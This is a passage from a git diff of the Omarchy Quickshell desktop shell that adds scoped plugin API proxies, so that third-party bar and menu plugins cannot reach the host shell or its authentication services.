Bar.qml and operations are delegated through scoped +// callbacks, so the actual Bar (and its root-shell property) is never retained. +QtObject { + id: api + + required property string pluginId + required property string moduleName + property var shell: null + + property color foreground: "transparent" + property color barForeground: "transparent" + property color background: "transparent" + property color urgent: "transparent" + property string fontFamily: "" + property string position: "top" + property bool vertical: false + property int barSize: 0 + property bool transparent: false + property bool foregroundAnimationEnabled: true + property bool centerSectionRevealHeld: false + property bool _centerHoverRevealSuppressed: false + readonly property bool centerHoverRevealSuppressed: _centerHoverRevealSuppressed + property var activePopout: null + property var clickTargets: [] + property var layoutConfig: ({}) + readonly property var foreignPopoutMarker: ({ foreign: true }) + + property var _showTooltip: null + property var _hideTooltip: null + property var _registerClickTarget: null + property var _unregisterClickTarget: null + property var _requestPopout: null + property var _releasePopout: null + property var _switchPanelFrom: null + property var _targetBelongsToWindow: null + property var _moduleWidgets: null + property var _run: null + property var _setCenterHoverRevealSuppressed: null + + function setCenterHoverRevealSuppressed(value) { + if (_setCenterHoverRevealSuppressed) _setCenterHoverRevealSuppressed(!!value) + } + + function showTooltip(target, text) { + if (_showTooltip) _showTooltip(target, String(text || "")) + } + + function hideTooltip(target) { + if (_hideTooltip) _hideTooltip(target) + } + + function registerClickTarget(target) { + if (_registerClickTarget) _registerClickTarget(target) + } + + function unregisterClickTarget(target) { + if (_unregisterClickTarget) _unregisterClickTarget(target) + } + + function requestPopout(owner) { + if (_requestPopout) _requestPopout(owner) + } + + function releasePopout(owner) { + if (_releasePopout) _releasePopout(owner) + } + + function switchPanelFrom(owner, direction) { + return _switchPanelFrom ? _switchPanelFrom(owner, direction) : false + } + + function targetBelongsToWindow(target, window) { + return _targetBelongsToWindow ? _targetBelongsToWindow(target, window) : false + } + + function moduleWidgets(id) { + return _moduleWidgets ? _moduleWidgets(String(id || "")) : [] + } + + function run(command) { + if (_run) _run(String(command || "")) + } +} diff --git a/shell/Ui/qmldir b/shell/Ui/qmldir index b25bf5ca..5d8e6d4a 100644 --- a/shell/Ui/qmldir +++ b/shell/Ui/qmldir @@ -23,6 +23,7 @@ PanelSectionHeader 1.0 PanelSectionHeader.qml PanelSeparator 1.0 PanelSeparator.qml PanelSlider 1.0 PanelSlider.qml PanelToolTip 1.0 PanelToolTip.qml +PluginBarApi 1.0 PluginBarApi.qml PointerMoveGate 1.0 PointerMoveGate.qml ScreenMoveRemap 1.0 ScreenMoveRemap.qml PopupCard 1.0 PopupCard.qml diff --git a/shell/plugins/bar/Bar.qml b/shell/plugins/bar/Bar.qml index def615af..df02a2f7 100644 --- a/shell/plugins/bar/Bar.qml +++ b/shell/plugins/bar/Bar.qml @@ -12,20 +12,29 @@ Item { id: root // The omarchy-shell host injects omarchyPath from OMARCHY_PATH. - required property string omarchyPath + property string omarchyPath: Quickshell.env("OMARCHY_PATH") // Injected by the host shell so bar slots can resolve enabled widgets. - required property var barWidgetRegistry + property var barWidgetRegistry: fallbackBarWidgetRegistry + // Read-only registry view for third-party full bars; the built-in bar does + // not otherwise need it, but declaring it keeps clone construction atomic. + property var pluginRegistry: null // Injected by the host shell every time shell.json is reloaded. Holds the // `bar:` subtree: position, centerAnchor, layout. The host owns file IO; // the bar just renders whatever it's handed. The bar font follows the // OS-level fontconfig monospace binding — it is not stored in shell.json. - required property var barConfig + property var barConfig: ({}) // Injected by the host shell. Used for shell-wide actions such as opening // settings and persisting inline widget state. property var shell: null // Manifest for the active bar option. Present for custom bars and useful for // diagnostics; the built-in bar does not otherwise need it. property var manifest: null + QtObject { + id: fallbackBarWidgetRegistry + property var widgets: ({}) + property int revision: 0 + function metadataFor(id) { return null } + } // Mirrors the on-disk `bar-off` flag so the user can hide the bar without // killing the entire shell. Hidden panels stay mapped but park off-screen // without an exclusion zone; updated by the FileView watcher further down. @@ -100,6 +109,213 @@ Item { property var barMoveScreen: null property var clickTargets: [] property var moduleSlots: [] + property var pluginBarApis: ({}) + property var pluginObjectOwners: [] + + Component { + id: pluginBarApiComponent + PluginBarApi { } + } + + function publicLayoutConfig() { + return JSON.parse(JSON.stringify(root.layoutConfig || {})) + } + + function bindPluginBarApi(api) { + if (!api) return + api.foreground = Qt.binding(function() { return root.foreground }) + api.barForeground = Qt.binding(function() { return root.barForeground }) + api.background = Qt.binding(function() { return root.background }) + api.urgent = Qt.binding(function() { return root.urgent }) + api.fontFamily = Qt.binding(function() { return root.fontFamily }) + api.position = Qt.binding(function() { return root.position }) + api.vertical = Qt.binding(function() { return root.vertical }) + api.barSize = Qt.binding(function() { return root.barSize }) + api.transparent = Qt.binding(function() { return root.transparent }) + api.foregroundAnimationEnabled = Qt.binding(function() { return root.foregroundAnimationEnabled }) + api.centerSectionRevealHeld = Qt.binding(function() { return root.centerSectionRevealHeld }) + api._centerHoverRevealSuppressed = Qt.binding(function() { return root.centerHoverRevealSuppressed }) + root.syncPluginBarApiObjects(api) + } + + function syncPluginBarApiObjects(api) { + if (!api) return + api.activePopout = root.pluginOwnsBarObject(api.pluginId, root.activePopout) + ? root.activePopout : (root.activePopout ? api.foreignPopoutMarker : null) + api.clickTargets = root.pluginClickTargets(api.pluginId) + api.layoutConfig = root.publicLayoutConfig() + } + + function pluginObjectRecord(target) { + for (var i = 0; i < pluginObjectOwners.length; i++) { + var record = pluginObjectOwners[i] + if (record && record.target === target) return record + } + return null + } + + function markPluginObject(pluginId, target, role) { + var key = String(pluginId || "") + if (!key || !target) return false + var record = root.pluginObjectRecord(target) + if (record && record.pluginId !== key) return false + var next = [] + for (var i = 0; i < pluginObjectOwners.length; i++) { + var existing = pluginObjectOwners[i] + if (!existing || existing.target !== target) next.push(existing) + } + var updated = record || { target: target, pluginId: key, clickTarget: false, popout: false } + updated[role] = true + next.push(updated) + pluginObjectOwners = next + return true + } + + function unmarkPluginObject(pluginId, target, role) { + var key = String(pluginId || "") + var next = [] + for (var i = 0; i < pluginObjectOwners.length; i++) { + var record = pluginObjectOwners[i] + if (!record || record.target !== target || record.pluginId !== key) { + next.push(record) + continue + } + record[role] = false + if (record.clickTarget || record.popout) next.push(record) + } + pluginObjectOwners = next + } + + function pluginOwnsBarObject(pluginId, target) { + var record = target ? root.pluginObjectRecord(target) : null + return !!record && record.pluginId === String(pluginId || "") + } + + function pluginClickTargets(pluginId) { + var out = [] + for (var i = 0; i < root.clickTargets.length; i++) { + var target = root.clickTargets[i] + if (root.pluginOwnsBarObject(pluginId, target)) out.push(target) + } + return out + } + + function syncAllPluginBarApiObjects() { + for (var id in pluginBarApis) root.syncPluginBarApiObjects(pluginBarApis[id]) + } + + function registerPluginClickTarget(pluginId, target) { + if (!root.markPluginObject(pluginId, target, "clickTarget")) return + root.registerClickTarget(target) + } + + function unregisterPluginClickTarget(pluginId, target) { + if (!root.pluginOwnsBarObject(pluginId, target)) return + root.unregisterClickTarget(target) + root.unmarkPluginObject(pluginId, target, "clickTarget") + } + + function requestPluginPopout(pluginId, owner) { + if (!root.markPluginObject(pluginId, owner, "popout")) return + root.requestPopout(owner) + } + + function releasePluginPopout(pluginId, owner) { + if (!root.pluginOwnsBarObject(pluginId, owner)) return + root.releasePopout(owner) + root.unmarkPluginObject(pluginId, owner, "popout") + } + + function pluginBarApiFor(pluginId, moduleName, registered) { + var key = String(pluginId || "") + if (!key) return null + if (pluginBarApis[key]) return pluginBarApis[key] + + var pluginShell = null + if (registered && root.shell && typeof root.shell.pluginShellForId === "function") + pluginShell = root.shell.pluginShellForId(moduleName) + else if (!registered && root.shell && typeof root.shell.pluginShellForBarEntry === "function") + pluginShell = root.shell.pluginShellForBarEntry(key, moduleName) + + var api = pluginBarApiComponent.createObject(null, { + pluginId: key, + moduleName: String(moduleName || ""), + shell: pluginShell, + _showTooltip: function(target, text) { root.showTooltip(target, text) }, + _hideTooltip: function(target) { root.hideTooltip(target) }, + _registerClickTarget: function(target) { root.registerPluginClickTarget(key, target) }, + _unregisterClickTarget: function(target) { root.unregisterPluginClickTarget(key, target) }, + _requestPopout: function(owner) { root.requestPluginPopout(key, owner) }, + _releasePopout: function(owner) { root.releasePluginPopout(key, owner) }, + _switchPanelFrom: function(owner, direction) { return root.switchPanelFrom(owner, direction) }, + _targetBelongsToWindow: function(target, window) { return root.targetBelongsToWindow(target, window) }, + _moduleWidgets: function(requestedId) { + return String(requestedId || "") === String(moduleName || "") + ? root.moduleWidgets(moduleName) : [] + }, + _run: function(command) { root.run(command) }, + _setCenterHoverRevealSuppressed: function(value) { + root.centerHoverRevealSuppressed = !!value + } + }) + if (!api) return null + root.bindPluginBarApi(api) + + var next = ({}) + for (var id in pluginBarApis) next[id] = pluginBarApis[id] + next[key] = api + pluginBarApis = next + return api + } + + function pluginBarApiUsed(pluginId) { + for (var i = 0; i < moduleSlots.length; i++) { + var slot = moduleSlots[i] + if (slot && slot.pluginApiId === pluginId) return true + } + return false + } + + function releasePluginObjects(pluginId) { + var owned = pluginObjectOwners.slice() + for (var i = 0; i < owned.length; i++) { + var record = owned[i] + if (!record || record.pluginId !== pluginId) continue + if (record.clickTarget) root.unregisterClickTarget(record.target) + if (record.popout && root.activePopout === record.target) root.releasePopout(record.target) + } + pluginObjectOwners = pluginObjectOwners.filter(function(record) { + return record && record.pluginId !== pluginId + }) + } + + function prunePluginBarApis() { + var next = ({}) + for (var id in pluginBarApis) { + var api = pluginBarApis[id] + if (root.pluginBarApiUsed(id)) { + next[id] = api + continue + } + root.releasePluginObjects(id) + if (api && typeof api.destroy === "function") api.destroy() + } + pluginBarApis = next + } + + onActivePopoutChanged: syncAllPluginBarApiObjects() + onClickTargetsChanged: syncAllPluginBarApiObjects() + onLayoutConfigChanged: syncAllPluginBarApiObjects() + onModuleSlotsChanged: Qt.callLater(prunePluginBarApis) + + Component.onDestruction: { + for (var id in pluginBarApis) { + root.releasePluginObjects(id) + if (pluginBarApis[id] && typeof pluginBarApis[id].destroy === "function") + pluginBarApis[id].destroy() + } + pluginBarApis = ({}) + } function registerClickTarget(target) { if (!target || clickTargets.indexOf(target) !== -1) return @@ -599,6 +815,10 @@ Item { if (barHoverCount === 0) centerSectionRevealTimer.restart() } + function setCenterHoverRevealSuppressed(value) { + centerHoverRevealSuppressed = !!value + } + Timer { id: centerSectionRevealTimer interval: 120 @@ -1548,6 +1768,9 @@ Item { readonly property string moduleName: root.entryId(entry) readonly property var moduleSettings: root.entrySettings(entry) readonly property string customType: root.customModuleType(entry) + readonly property var registryMetadata: root.barWidgetRegistry.metadataFor(root.canonicalWidgetId(moduleName)) + readonly property bool firstParty: registryMetadata && registryMetadata.firstParty === true + readonly property string pluginApiId: registered ? root.canonicalWidgetId(moduleName) : "bar-entry:" + moduleName // Re-evaluate when the registry mutates (Component reference changes, // plugin enabled/disabled, etc.). Reading the `widgets` property creates // the binding dependency — the wrapped function call alone wouldn't. @@ -1766,7 +1989,8 @@ Item { function injectProps() { var target = activeItem if (!target) return - if ("bar" in target) target.bar = root + if ("bar" in target) target.bar = firstParty + ? root : root.pluginBarApiFor(pluginApiId, moduleName, registered) if ("moduleName" in target) target.moduleName = moduleName if ("settings" in target) target.settings = moduleSettings } diff --git a/shell/plugins/lock/manifest.json b/shell/plugins/lock/manifest.json index 87acd939..30809608 100644 --- a/shell/plugins/lock/manifest.json +++ b/shell/plugins/lock/manifest.json @@ -5,6 +5,11 @@ "version": "1.0.0", "author": "Omarchy", "description": "Quickshell session lock with separate password and fingerprint PAM flows.", + "omarchy": { + "capabilities": [ + "authentication" + ] + }, "kinds": [ "service" ], diff --git a/shell/plugins/panels/clock/Panel.qml b/shell/plugins/panels/clock/Panel.qml index be5d08a0..ec3990e2 100644 --- a/shell/plugins/panels/clock/Panel.qml +++ b/shell/plugins/panels/clock/Panel.qml @@ -119,7 +119,9 @@ Panel { // Summoning by hotkey moves no pointer, so a hover the bar was still // holding must not keep the center indicators revealed behind the panel. function setCenterHoverRevealSuppressed(value) { - if (root.bar && "centerHoverRevealSuppressed" in root.bar) + if (root.bar && typeof root.bar.setCenterHoverRevealSuppressed === "function") + root.bar.setCenterHoverRevealSuppressed(value) + else if (root.bar && "centerHoverRevealSuppressed" in root.bar) root.bar.centerHoverRevealSuppressed = value } diff --git a/shell/plugins/panels/weather/Panel.qml b/shell/plugins/panels/weather/Panel.qml index edb12777..d9d43b68 100644 --- a/shell/plugins/panels/weather/Panel.qml +++ b/shell/plugins/panels/weather/Panel.qml @@ -63,7 +63,9 @@ Panel { } function setCenterHoverRevealSuppressed(value) { - if (root.bar && "centerHoverRevealSuppressed" in root.bar) + if (root.bar && typeof root.bar.setCenterHoverRevealSuppressed === "function") + root.bar.setCenterHoverRevealSuppressed(value) + else if (root.bar && "centerHoverRevealSuppressed" in root.bar) root.bar.centerHoverRevealSuppressed = value } diff --git a/shell/plugins/polkit/manifest.json b/shell/plugins/polkit/manifest.json index 1e80b655..5d1f037e 100644 --- a/shell/plugins/polkit/manifest.json +++ b/shell/plugins/polkit/manifest.json @@ -5,6 +5,11 @@ "version": "1.0.0", "author": "Omarchy", "description": "Theme-aware authentication dialog for privileged actions.", + "omarchy": { + "capabilities": [ + "authentication" + ] + }, "kinds": [ "service" ], diff --git a/shell/services/AuthServiceStore.js b/shell/services/AuthServiceStore.js new file mode 100644 index 00000000..ffe49f33 --- /dev/null +++ b/shell/services/AuthServiceStore.js @@ -0,0 +1,34 @@ +// Intentionally not `.pragma library`: QML JavaScript imports get a private +// module instance per importing component. shell.qml's instance retains the +// authentication services; a third-party plugin importing this file receives +// a separate empty store rather than a shared path to credential-bearing QML. + +var services = ({}) + +function has(id) { + return services[String(id || "")] !== undefined +} + +function put(id, service) { + var key = String(id || "") + if (!key || !service) return + if (services[key] && services[key] !== service && typeof services[key].destroy === "function") + services[key].destroy() + services[key] = service +} + +function ids() { + return Object.keys(services) +} + +function destroy(id) { + var key = String(id || "") + var service = services[key] + if (service && typeof service.destroy === "function") service.destroy() + delete services[key] +} + +function destroyAll() { + var keys = ids() + for (var i = 0; i < keys.length; i++) destroy(keys[i]) +} diff --git a/shell/services/PluginAppLibraryApi.qml b/shell/services/PluginAppLibraryApi.qml new file mode 100644 index 00000000..00d5e8f0 --- /dev/null +++ b/shell/services/PluginAppLibraryApi.qml @@ -0,0 +1,46 @@ +import QtQuick + +// Detached application-library capability for third-party menus. Callbacks +// expose the supported app-list operations without retaining AppLibrary or its +// ShellRoot parent in the plugin-visible object graph. +QtObject { + required property string ownerPluginId + + signal appsChanged() + + property var _entryName: null + property var _entrySubtext: null + property var _sortedEntries: null + property var _iconSource: null + property var _refreshIcons: null + property var _launch: null + property var _remove: null + + function entryName(entry) { + return _entryName ? _entryName(entry) : "" + } + + function entrySubtext(entry) { + return _entrySubtext ? _entrySubtext(entry) : "" + } + + function sortedEntries(query) { + return _sortedEntries ? _sortedEntries(String(query || "")) : [] + } + + function iconSource(icon) { + return _iconSource ? _iconSource(icon) : "" + } + + function refreshIcons() { + if (_refreshIcons) _refreshIcons() + } + + function launch(desktopId, name) { + if (_launch) _launch(String(desktopId || ""), String(name || "")) + } + + function remove(desktopId, name) { + if (_remove) _remove(String(desktopId || ""), String(name || "")) + } +} diff --git a/shell/services/PluginBarStateApi.qml b/shell/services/PluginBarStateApi.qml new file mode 100644 index 00000000..db802b77 --- /dev/null +++ b/shell/services/PluginBarStateApi.qml @@ -0,0 +1,12 @@ +import QtQuick + +// Scalar-only view of the active bar for plugins that position independent +// windows. The active Bar QObject is never retained here. +QtObject { + required property string ownerPluginId + + property bool barHidden: false + property int barSize: 0 + property string fontFamily: "" + property string position: "top" +} diff --git a/shell/services/PluginBarWidgetRegistryApi.qml b/shell/services/PluginBarWidgetRegistryApi.qml new file mode 100644 index 00000000..238729f1 --- /dev/null +++ b/shell/services/PluginBarWidgetRegistryApi.qml @@ -0,0 +1,24 @@ +import QtQuick + +// Detached widget-catalogue snapshot for third-party full-bar implementations. +// Plugins can render the referenced components, but mutating this local view +// cannot replace a registration in the host registry. +QtObject { + id: api + + property var widgets: ({}) + property int revision: 0 + + function metadataFor(id) { + var entry = widgets[String(id || "")] + return entry ? entry.metadata : null + } + + function availableIds() { + return Object.keys(widgets) + } + + function has(id) { + return widgets[String(id || "")] !== undefined + } +} diff --git a/shell/services/PluginFirstPartyServiceApi.qml b/shell/services/PluginFirstPartyServiceApi.qml new file mode 100644 index 00000000..1f052629 --- /dev/null +++ b/shell/services/PluginFirstPartyServiceApi.qml @@ -0,0 +1,46 @@ +import QtQuick + +// Narrow proxy for the non-authentication first-party services used by the +// built-in bar. It intentionally has no generic property or method forwarding. +QtObject { + required property string ownerPluginId + required property string serviceId + + property bool stayAwake: false + property bool enabled: false + property bool doNotDisturb: false + property var activePlayer: null + property var sourcePlayers: [] + + property var _setIdleEnabled: null + property var _setNightlight: null + property var _setDoNotDisturb: null + property var _runAction: null + property var _playerKey: null + property var _selectPlayer: null + + function setIdleEnabled(value) { + if (serviceId === "omarchy.idle" && _setIdleEnabled) _setIdleEnabled(!!value) + } + + function setNightlight(value) { + if (serviceId === "omarchy.nightlight" && _setNightlight) _setNightlight(!!value) + } + + function setDoNotDisturb(value) { + if (serviceId === "omarchy.notifications" && _setDoNotDisturb) _setDoNotDisturb(!!value) + } + + function runAction(action, showFeedback, playerId) { + if (serviceId === "omarchy.media" && _runAction) + _runAction(String(action || ""), !!showFeedback, String(playerId || "")) + } + + function playerKey(player) { + return serviceId === "omarchy.media" && _playerKey ? _playerKey(player) : "" + } + + function selectPlayer(playerId) { + if (serviceId === "omarchy.media" && _selectPlayer) _selectPlayer(String(playerId || "")) + } +} diff --git a/shell/services/PluginRegistry.qml b/shell/services/PluginRegistry.qml index f08bf765..e24c3a22 100644 --- a/shell/services/PluginRegistry.qml +++ b/shell/services/PluginRegistry.qml @@ -20,7 +20,7 @@ QtObject { property var shellConfigProvider: null property var shellConfigMutator: null - // { pluginId: manifest } — manifests have __sourceDir and __isFirstParty stamped in. + // { pluginId: manifest } — manifests have source/trust metadata stamped in. property var installedPlugins: ({}) property int registryRevision: 0 property bool scanning: false @@ -90,6 +90,32 @@ QtObject { return manifest } + function trustedCapabilities(manifest) { + if (!manifest || !manifest.__isFirstParty) return [] + var metadata = Util.isPlainObject(manifest.omarchy) ? manifest.omarchy : null + var declared = metadata && Array.isArray(metadata.capabilities) ? metadata.capabilities : [] + var out = [] + for (var i = 0; i < declared.length; i++) { + var capability = String(declared[i] || "") + if (capability && out.indexOf(capability) === -1) out.push(capability) + } + return out + } + + function stampHostCapabilities(firstParty, thirdParty) { + for (var firstPartyId in firstParty) + firstParty[firstPartyId].__hostCapabilities = trustedCapabilities(firstParty[firstPartyId]) + + for (var thirdPartyId in thirdParty) { + var manifest = thirdParty[thirdPartyId] + var metadata = manifest && Util.isPlainObject(manifest.omarchy) ? manifest.omarchy : null + var clonedFrom = metadata ? String(metadata.clonedFrom || "") : "" + var source = clonedFrom ? firstParty[clonedFrom] : null + manifest.__hostCapabilities = source && Array.isArray(source.__hostCapabilities) + ? source.__hostCapabilities.slice() : [] + } + } + function entryPointUrl(manifest, kind) { if (!Util.isPlainObject(manifest)) return "" var ep = manifest.entryPoints ? manifest.entryPoints[kind] : null @@ -594,6 +620,8 @@ QtObject { } flush() + stampHostCapabilities(firstParty, thirdParty) + var merged = {} for (var fk in firstParty) merged[fk] = firstParty[fk] // Third-party plugins never shadow first-party ids. The whole diff --git a/shell/services/PluginRegistryApi.qml b/shell/services/PluginRegistryApi.qml new file mode 100644 index 00000000..32033c2b --- /dev/null +++ b/shell/services/PluginRegistryApi.qml @@ -0,0 +1,32 @@ +import QtQuick + +// Read-only, self-scoped registry view for an installed third-party plugin. +// The host updates manifest/enabled when it rescans; no host registry object is +// retained here, so `parent` and property traversal cannot reach ShellRoot. +QtObject { + id: api + + required property string pluginId + property var manifest: null + property bool enabled: false + property var _entryPointUrl: null + + readonly property var installedPlugins: { + var out = ({}) + if (manifest) out[pluginId] = manifest + return out + } + + function isEnabled(id) { + return String(id || "") === pluginId && enabled + } + + function resolveEnabledId(id) { + return String(id || "") === pluginId ? pluginId : "" + } + + function entryPointUrl(candidate, kind) { + if (!candidate || String(candidate.id || "") !== pluginId) return "" + return _entryPointUrl ? _entryPointUrl(String(kind || "")) : "" + } +} diff --git a/shell/services/PluginShellApi.qml b/shell/services/PluginShellApi.qml new file mode 100644 index 00000000..faa34e8d --- /dev/null +++ b/shell/services/PluginShellApi.qml @@ -0,0 +1,75 @@ +import QtQuick + +// Capability-scoped shell surface for installed third-party plugins. +// +// The callbacks are closed over one plugin id by shell.qml. A plugin can call +// them directly, but it cannot widen their scope: ordinary plugins are limited +// to their own id, and full-bar callbacks independently enforce their explicit +// non-authentication UI scope. Keeping the host shell out of this object's +// properties also prevents ordinary QML object traversal from turning the +// facade back into the root ShellRoot. +QtObject { + id: api + + required property string pluginId + + property var appLibrary: null + property var bar: null + property var barConfig: ({}) + + property var _serviceLookup: null + property var _firstPartyServiceLookup: null + property var _pluginShellLookup: null + property var _barEntryShellLookup: null + property var _summon: null + property var _hide: null + property var _toggle: null + property var _isOpen: null + property var _updateSettings: null + property var _mutateBarConfig: null + + function serviceFor(id) { + return _serviceLookup ? _serviceLookup(String(id || "")) : null + } + + // Only full-bar facades receive narrow proxies for the specific + // non-authentication services used by the built-in bar widgets. + function firstPartyServiceFor(id) { + return _firstPartyServiceLookup + ? _firstPartyServiceLookup(String(id || "")) : null + } + + function pluginShellForId(id) { + return _pluginShellLookup ? _pluginShellLookup(String(id || "")) : null + } + + function pluginShellForBarEntry(ownerId, moduleName) { + return _barEntryShellLookup + ? _barEntryShellLookup(String(ownerId || ""), String(moduleName || "")) : null + } + + function summon(id, payloadJson) { + return _summon ? _summon(String(id || ""), String(payloadJson || "")) : false + } + + function hide(id) { + return _hide ? _hide(String(id || "")) : false + } + + function toggle(id, payloadJson) { + return _toggle ? _toggle(String(id || ""), String(payloadJson || "")) : false + } + + function isPluginOpen(id) { + return _isOpen ? _isOpen(String(id || "")) : false + } + + function updateEntryInline(id, settings) { + return _updateSettings ? _updateSettings(String(id || ""), settings) : false + } + + function mutateShellConfig(mutator) { + return _mutateBarConfig && typeof mutator === "function" + ? _mutateBarConfig(mutator) : false + } +} diff --git a/shell/shell.qml b/shell/shell.qml index 71a9834f..1a762328 100644 --- a/shell/shell.qml +++ b/shell/shell.qml @@ -7,6 +7,7 @@ import qs.Commons import "plugins/bar" import "services" +import "services/AuthServiceStore.js" as AuthServiceStore ShellRoot { id: shell @@ -214,10 +215,10 @@ ShellRoot { function configureBar(target, manifest) { if (!target) return if ("omarchyPath" in target) target.omarchyPath = shell.omarchyPath - if ("shell" in target) target.shell = shell - if ("manifest" in target) target.manifest = manifest - if ("barWidgetRegistry" in target) target.barWidgetRegistry = shell.barWidgetRegistry - if ("pluginRegistry" in target) target.pluginRegistry = shell.pluginRegistry + if ("shell" in target) target.shell = shell.pluginShellFor(manifest) + if ("manifest" in target) target.manifest = shell.publicPluginManifest(manifest) + if ("barWidgetRegistry" in target) target.barWidgetRegistry = shell.pluginBarWidgetRegistryFor(manifest) + if ("pluginRegistry" in target) target.pluginRegistry = shell.pluginRegistryFor(manifest) if ("barConfig" in target) target.barConfig = shell.barConfig shell.bar = target } @@ -253,8 +254,7 @@ ShellRoot { onActiveChanged: if (!active) shell.bar = null onStatusChanged: { if (status === Loader.Error) { - var detail = errorString && errorString() ? errorString() : "" - console.warn("bar option " + shell.activeBarId + " failed to load, falling back to " + shell.defaultBarId + ":", detail) + console.warn("bar option " + shell.activeBarId + " failed to load, falling back to " + shell.defaultBarId) shell.failedBarId = shell.activeBarId } } @@ -271,6 +271,462 @@ ShellRoot { } property var _services: ({}) + property var _pluginShellApis: ({}) + property var _pluginBarEntryShellApis: ({}) + property var _pluginRegistryApis: ({}) + property var _pluginBarWidgetRegistryApis: ({}) + property var _pluginAppLibraryApis: ({}) + property var _pluginBarStateApis: ({}) + property var _pluginFirstPartyServiceApis: ({}) + + Component { + id: pluginShellApiComponent + PluginShellApi { } + } + + Component { + id: pluginRegistryApiComponent + PluginRegistryApi { } + } + + Component { + id: pluginBarWidgetRegistryApiComponent + PluginBarWidgetRegistryApi { } + } + + Component { + id: pluginAppLibraryApiComponent + PluginAppLibraryApi { } + } + + Component { + id: pluginBarStateApiComponent + PluginBarStateApi { } + } + + Component { + id: pluginFirstPartyServiceApiComponent + PluginFirstPartyServiceApi { } + } + + function publicPluginManifest(manifest) { + if (!manifest) return null + if (manifest.__isFirstParty) return manifest + var copy = JSON.parse(JSON.stringify(manifest)) + delete copy.__sourceDir + delete copy.__isFirstParty + delete copy.__hostCapabilities + return copy + } + + function publicBarConfig() { + return JSON.parse(JSON.stringify(shell.barConfig || {})) + } + + function publicBarWidgetSnapshot() { + var source = shell.barWidgetRegistry.widgets || {} + var snapshot = {} + for (var id in source) { + var entry = source[id] + if (!entry) continue + snapshot[id] = { + component: entry.component, + metadata: JSON.parse(JSON.stringify(entry.metadata || {})) + } + } + return snapshot + } + + function manifestHasKind(manifest, kind) { + return !!manifest && Array.isArray(manifest.kinds) + && manifest.kinds.indexOf(kind) !== -1 + } + + function pluginHasBarCapabilities(manifest) { + return shell.manifestHasKind(manifest, "bar") + } + + function pluginOwnsTarget(pluginId, requestedId) { + var caller = String(pluginId || "") + if (!caller) return false + return shell.pluginRegistry.resolveEnabledId(String(requestedId || "")) === caller + } + + function pluginServiceFor(pluginId, requestedId) { + if (!shell.pluginOwnsTarget(pluginId, requestedId)) return null + return shell.serviceFor(shell.pluginRegistry.resolveEnabledId(requestedId)) + } + + function barEntryConfigured(pluginId) { + var location = shell.pluginRegistry.findEntryLocation(shell.shellConfig, pluginId) + return location && location.kind === "bar" + } + + function barPluginMayControl(manifest, requestedId) { + if (!shell.pluginHasBarCapabilities(manifest)) return false + var id = shell.pluginRegistry.resolveEnabledId(String(requestedId || "")) + var target = shell.pluginRegistry.installedPlugins[id] + if (!target || shell.isAuthenticationService(target)) return false + if (shell.barEntryConfigured(id)) return true + var uiKinds = ["bar-widget", "panel", "overlay", "menu"] + for (var i = 0; i < uiKinds.length; i++) + if (shell.manifestHasKind(target, uiKinds[i])) return true + return false + } + + function mutatePluginBarConfig(mutator) { + if (typeof mutator !== "function") return false + shell.mutateShellConfig(function(config) { + var scoped = { bar: JSON.parse(JSON.stringify(config.bar || {})) } + mutator(scoped) + if (Util.isPlainObject(scoped.bar)) config.bar = JSON.parse(JSON.stringify(scoped.bar)) + }) + return true + } + + function pluginAppLibraryFor(cacheKey, pluginId) { + if (_pluginAppLibraryApis[cacheKey]) return _pluginAppLibraryApis[cacheKey] + var api = pluginAppLibraryApiComponent.createObject(null, { + ownerPluginId: pluginId, + _entryName: function(entry) { return shell.appLibrary.entryName(entry) }, + _entrySubtext: function(entry) { return shell.appLibrary.entrySubtext(entry) }, + _sortedEntries: function(query) { return shell.appLibrary.sortedEntries(query) }, + _iconSource: function(icon) { return shell.appLibrary.iconSource(icon) }, + _refreshIcons: function() { shell.appLibrary.refreshIcons() }, + _launch: function(desktopId, name) { shell.appLibrary.launch(desktopId, name) }, + _remove: function(desktopId, name) { shell.appLibrary.remove(desktopId, name) } + }) + if (!api) return null + var next = ({}) + for (var id in _pluginAppLibraryApis) next[id] = _pluginAppLibraryApis[id] + next[cacheKey] = api + _pluginAppLibraryApis = next + return api + } + + function pluginBarStateFor(cacheKey, pluginId) { + if (_pluginBarStateApis[cacheKey]) return _pluginBarStateApis[cacheKey] + var api = pluginBarStateApiComponent.createObject(null, { ownerPluginId: pluginId }) + if (!api) return null + api.barHidden = Qt.binding(function() { return shell.bar ? shell.bar.barHidden === true : false }) + api.barSize = Qt.binding(function() { return shell.bar ? Math.max(0, shell.bar.barSize || 0) : 0 }) + api.fontFamily = Qt.binding(function() { return shell.bar ? String(shell.bar.fontFamily || "") : "" }) + api.position = Qt.binding(function() { return shell.bar ? String(shell.bar.position || "top") : "top" }) + var next = ({}) + for (var id in _pluginBarStateApis) next[id] = _pluginBarStateApis[id] + next[cacheKey] = api + _pluginBarStateApis = next + return api + } + + function pluginFirstPartyServiceFor(cacheKey, pluginId, requestedId) { + var id = String(requestedId || "") + var allowed = ["omarchy.idle", "omarchy.media", "omarchy.nightlight", "omarchy.notifications"] + if (allowed.indexOf(id) === -1) return null + var proxyKey = cacheKey + "::" + id + if (_pluginFirstPartyServiceApis[proxyKey]) return _pluginFirstPartyServiceApis[proxyKey] + + function service() { return shell.serviceFor(id) } + var api = pluginFirstPartyServiceApiComponent.createObject(null, { + ownerPluginId: pluginId, + serviceId: id, + _setIdleEnabled: function(value) { + var target = service() + if (target && typeof target.setIdleEnabled === "function") target.setIdleEnabled(value) + }, + _setNightlight: function(value) { + var target = service() + if (target && typeof target.setNightlight === "function") target.setNightlight(value) + }, + _setDoNotDisturb: function(value) { + var target = service() + if (target && typeof target.setDoNotDisturb === "function") target.setDoNotDisturb(value) + }, + _runAction: function(action, showFeedback, targetKey) { + var target = service() + if (target && typeof target.runAction === "function") target.runAction(action, showFeedback, targetKey) + }, + _playerKey: function(player) { + var target = service() + return target && typeof target.playerKey === "function" ? target.playerKey(player) : "" + }, + _selectPlayer: function(playerKey) { + var target = service() + if (target && typeof target.selectPlayer === "function") target.selectPlayer(playerKey) + } + }) + if (!api) return null + api.stayAwake = Qt.binding(function() { + var target = service() + return target ? target.stayAwake === true : false + }) + api.enabled = Qt.binding(function() { + var target = service() + return target ? target.enabled === true : false + }) + api.doNotDisturb = Qt.binding(function() { + var target = service() + return target ? target.doNotDisturb === true : false + }) + api.activePlayer = Qt.binding(function() { + var target = service() + return target ? target.activePlayer : null + }) + api.sourcePlayers = Qt.binding(function() { + var target = service() + return target && Array.isArray(target.sourcePlayers) ? target.sourcePlayers : [] + }) + var next = ({}) + for (var existing in _pluginFirstPartyServiceApis) next[existing] = 